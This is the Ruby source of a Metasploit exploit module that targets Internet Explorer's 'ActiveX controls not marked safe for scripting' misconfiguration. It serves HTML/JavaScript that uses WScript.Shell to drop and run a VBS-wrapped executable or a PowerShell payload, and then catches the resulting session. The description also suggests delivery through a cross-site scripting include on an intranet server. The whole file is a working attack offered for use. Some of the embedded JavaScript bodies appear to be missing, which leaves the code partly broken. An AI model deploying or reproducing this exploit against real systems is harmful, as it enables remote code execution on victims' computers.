## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/util/exe' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration', 'Description' => %q{ This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer. When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to interact with the file system and run commands. This security flaw is not uncommon in corporate environments for the 'Intranet' or 'Trusted Site' zones. When set via domain policy, the most common registry entry to modify is HKLM\ Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201, which if set to '0' forces ActiveX controls not marked safe for scripting to be enabled for the Intranet zone. This module creates a javascript/html hybrid that will render correctly either via a direct GET http://msf-server/ or as a javascript include, such as in: http://intranet-server/xss.asp?id="> . IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from an x64 iexplore.exe. }, 'License' => MSF_LICENSE, 'Author' => [ 'natron', 'Ben Campbell' # PSH and remove ADODB.Stream ], 'References' => [ [ 'URL', 'http://support.microsoft.com/kb/182569' ], [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ], [ 'URL', 'http://support.microsoft.com/kb/870669'] ], 'DisclosureDate' => 'Sep 20 2010', 'Platform' => 'win', 'Targets' => [ [ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { 'HTTP::compression' => 'gzip' }, 'DefaultTarget' => 0)) register_options( [ OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]), ], self.class ) end def on_request_uri(cli, request) # Build out the HTML response page var_shellobj = rand_text_alpha(rand(5)+5) p = regenerate_payload(cli) if datastore['TECHNIQUE'] == 'VBS' js_content = vbs_technique(var_shellobj, p) else js_content = psh_technique(var_shellobj, p) end print_status("Request received for #{request.uri}") print_status("Sending exploit html/javascript"); # Transmit the response to the client send_response(cli, js_content, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end def vbs_technique(var_shellobj, p) var_fsobj = rand_text_alpha(rand(5)+5) var_fsobj_file = rand_text_alpha(rand(5)+5) var_vbsname = rand_text_alpha(rand(5)+5) var_writedir = rand_text_alpha(rand(5)+5) exe = generate_payload_exe({ :code => p.encoded }) vbs = Msf::Util::EXE.to_exe_vbs(exe) vbs_content = Rex::Text.to_hex(vbs) # Build the javascript that will be served js_content = %Q| // | return js_content end def psh_technique(var_shellobj, p) cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) js_content = %Q| // | return js_content end end